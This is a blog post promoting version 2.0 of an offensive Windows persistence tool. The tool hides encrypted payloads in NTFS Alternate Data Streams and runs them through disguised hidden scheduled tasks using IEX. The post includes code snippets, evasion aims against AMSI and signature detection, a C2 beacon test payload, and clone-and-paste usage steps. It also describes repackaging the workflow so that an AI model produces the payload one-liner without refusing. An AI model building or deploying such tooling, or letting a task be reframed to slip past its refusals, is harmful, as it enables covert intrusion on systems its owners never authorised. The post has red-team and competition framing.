βπ» Apparition Delivery System v2.0 --- From Monolithic Scripts to Minimal Command Generation π»β
February 03, 2026 β redteam, windows, ads, ntfs, apparition
βββββββ βββ βββββββββββ ββββββ βββββββ βββ βββ
ββββββββββββ βββββββββββββββββββββββββββββββ ββββ
βββ ββββββ ββ βββββββββ ββββββββββββββββ βββββββ
βββββ βββββββββββββββββββ ββββββββββββββββ βββββ
ββββββββββββββββββββββββββββββ ββββββ βββ βββ
βββββββ ββββββββ βββββββββββ ββββββ βββ βββ
=============
ADS-Dropper v2.0: From Monolithic Scripts to Minimal Command Generation
How we rebuilt our ADS persistence tool to work better with LLMs, reduce detection surface, and unlock new deployment workflows
Introduction & Context
If youβve been following my NTFS research lately, you already know I have a bit of a soft spot for Alternate Data Streams. Theyβre old, under-loved, and still surprisingly useful when applied carefully and responsibly.
The Apparition Delivery System (ADS) started as a practical red team persistence framework built around a few core ideas:
-
πͺ NTFS Alternate Data Streams for hiding payloads
-
β° Scheduled Task persistence
-
π AES-256 encryption, with host-derived keys
-
π§ͺ Designed for CCDC competitions and real-world red team engagements
-
π§ Built by defenders-turned-offenders who care about tradecraft
What ADS-Dropper v1.0 Did Well
Version 1.0 worked. It worked very well.
You uploaded a PowerShell script, ran it, and it handled:
-
Configuration generation
-
Stream creation
-
Encryption
-
Task registration
-
Payload execution
All in one go.
The Problem With v1.0
The issue wasnβt functionality β it was ergonomics and OPSEC:
-
β ~800-line monolithic .ps1 file on disk
-
β Large static script = easy signature target
-
β Required file transfer to target
-
β Painful to use with LLM-based tooling
-
β Not friendly to copy/paste or βone-shotβ workflows
As LLM-assisted red teaming became more practical (Claude computer use, ChatGPT generating payloads, etc.), it became obvious:
Our tooling needed to adapt.
So⦠we rebuilt it.
1. The Old World (v1.0 β main)
text
βββββββββββββββββββββββββββββββββββββββ
β ADS-Dropper.ps1 (monolithic)Β Β Β Β β
β - Config generation Β Β Β Β Β Β Β Β β
β - ADS creationΒ Β Β Β Β Β Β Β Β Β Β β
β - EncryptionΒ Β Β Β Β Β Β Β Β Β Β Β β
β - Persistence setup Β Β Β Β Β Β Β Β β
β - Execution Β Β Β Β Β Β Β Β Β Β Β Β β
β Total: ~800 lines Β Β Β Β Β Β Β Β Β β
βββββββββββββββββββββββββββββββββββββββ
Β Β Β Β Β Β Β Β Β β
Β Β Β Β scp /path/to/ADS-Dropper.ps1 target
Β Β Β Β Β Β Β Β Β β
Β Β Β Β powershell -ep bypass -f ADS-Dropper.ps1
You can already feel the detection surface breathing down your neck.
2. The New World (v2.0 β test)
text
ββββββββββββββββββββββββββββββ Β ββββββββββββββββββββββββββββ
β ADS-Dropper.ps1Β Β Β Β Β Β β Β β ADS-OneLiner.ps1 Β Β Β Β β
β (Core logic) Β Β Β Β Β Β Β βββββ (Command generator)Β Β Β β
β - Config generationΒ Β Β Β β Β β - Calls ADS-DropperΒ Β Β β
β - RandomizationΒ Β Β Β Β Β β Β β Β in -GenerateOnly modeΒ β
β - Encryption helpers Β Β Β β Β β - Builds minimal cmdsΒ Β β
β - Stream name encoding Β Β β Β β - Base64 encodes Β Β Β Β β
β Runs on: Linux OR WindowsΒ β Β β Runs on: Linux onlyΒ Β Β β
ββββββββββββββββββββββββββββββ Β ββββββββββββββββββββββββββββ
Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β β
Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Generates ~30-line one-liner
Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β β
Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Β Paste into any PowerShell session
Zero file upload. Zero big .ps1 on disk. Pure paste-and-pwn.
3. Key Technical Wins (and the pain that got us there)
Cross-Platform Path Hell
Generating Windows paths from Linux is a special kind of suffering.
PowerShell
if ($env:ProgramData) {
Β Β Β Β # Running on real Windows
Β Β Β Β $hp = Join-Path $env:ProgramData βSystemCache.datβ
} else {
Β Β Β Β # Running on Linux (or WSL, GitHub Actions, Claude, etc.)
Β Β Β Β $hp = βC:\ProgramData\SystemCache.datβ
}
The Great String-Escaping War of 2025
We fought four rounds with PowerShellβs parser. Hereβs the tombstone of Attempt #3:
PowerShell
Attempt 3 β died screaming
| $minimalScript += ββ$decoyContentβ | sc "$hp:Zone.Identifierβ -Forceβ |
The winner? ${} variable delimiter syntax. Beautiful.
PowerShell
| $minimalScript += ββ$decoyContentβ | sc "${hp}:Zone.Identifier`β -Forceβ |
PowerShell 2.0 Compatibility (yes, really)
We dropped -Raw and went full caveman:
PowerShell
Before (PS3+)
$content = Get-Content $path -Raw
After (works on PS2)
$content = (gc $path) -join [char]10
Scheduled Task Command β Now With 100% Less Quote Trauma
PowerShell
Old way β pray you never have to read this again
$a = New-ScheduledTaskAction -Argument β-NoP -W Hidden -C "IEX([IO.File]::ReadAllText('$adsPath'))ββ
New way β variables pre-computed
$adsPath = $hp + β:β + $sn
$cmd = βIEX((gc β$adsPathβ)-join[char]10)β
$a = New-ScheduledTaskAction -Argument β-NoP -W Hidden -C $cmdβ
4. New Capabilities Unlocked
LLM-Powered Deployment
I can now literally tell Claude:
βRun ADS-OneLiner.ps1 with these params and give me the final one-linerβ
β¦and it just works. No file uploads, no context limits, no βsorry I canβt execute that scriptβ nonsense.
Detection Surface: Before vs After
Aspect
v1.0
v2.0
Files on disk
800-line .ps1
None (paste & execute)
AMSI surface
Huge
~30 lines of obfuscated code
Stream names
Static
Randomized per run
OPSEC
βHey look at this big scriptβ
βWhat script?β
Manifest-Based Recovery
Every deployment now drops a tiny JSON manifest on the operatorβs machine:
JSON
{
Β Β βTimestampβ: β2026-02-03 01:16:38β,
Β Β βHostPathβ: βC:\ProgramData\SouYlGxkβ,
Β Β βStreamNameβ: βqCtGDhkUβ,
Β Β βTaskNameβ: βWinSAT_VNXEMYβ,
Β Β βPayloadHashβ: βa3f5b2c1β¦β
}
One grep later and you know exactly where your shell lives.
5. Testing (with maximum memes)
Test payloads included:
-
Basic βPwned with loveβ message
-
Encrypted C2 beacon
-
Red Team Kitty (because why not)
PowerShell
Verification commands you can actually run
| Get-Item C:\ProgramData\SouYlGxk -Stream * | Select Stream, Length |
$content = Get-Content βC:\ProgramData\SouYlGxk:qCtGDhkUβ -Raw
$content.Substring(0,50) # should be base64 garbage
Get-ScheduledTask -TaskName βWinSAT_VNXEMYβ
And yes, the kitty payload executed perfectly:
text
/\_/\
Β Β Β ( o.o )
Β Β Β Β > ^ <
Β Β Red Team Kitty says:
Β Β Your persistence is purrfect!
Β Β Keep those shells alive! ΰΈ ^-ο»-^ΰΈ
6. Trade-offs & Honest Talk
Wins
-
No file uploads
-
LLM-native
-
Tiny footprint
-
Randomized everything
Pain
-
Debugging is now βrun on Linux β copy β paste on Windows β cryβ
-
Escaping complexity went up (but worth it)
-
Still requires PowerShell 2.0+ on target
7. Real-World Use Cases
CCDC speed-run
Blue team just nuked your last beacon β social-engineer a user β paste 30-line one-liner β persistence back in <30 seconds.
Red team engagement
You have a 45-second window in an existing PS session β generate one-liner on attacker box β paste β clean exit β zero artifacts.
8. Future Roadmap
-
Smarter stream name generation (avoid Zone.Identifier patterns)
-
WMI + Registry persistence options
-
Sliver/Metasploit stager integration
-
Auto-cleanup script generator
-
WinRM/PSRemoting remote execution mode
9. Try It Yourself
Bash
1. Clone the test branch
git clone https://github.com/Qweary/Apparition-Delivery-System.git
2. Generate a payload (Linux or WSL)
./ADS-OneLiner.ps1 -HostPath βC:\ProgramData\Cache.datβ -StreamName βpwnedβ -Payload βWrite-Host βADS v2.0 says helloββ
3. Copy the giant base64 string it spits out
4. Paste into any PowerShell session on target
Repo: https://github.com/Qweary/Apparition-Delivery-System
Closing Thoughts
In the age of AI-assisted red teaming, our tools need to be as adaptable as our tactics. ADS-Dropper v2.0 isnβt just about hiding payloads β itβs about meeting the LLM where they are, and turning conversational AI into a force multiplier for offensive operations.
Stay curious, stay ethical, and keep those shells alive! π±βπ»
β qweary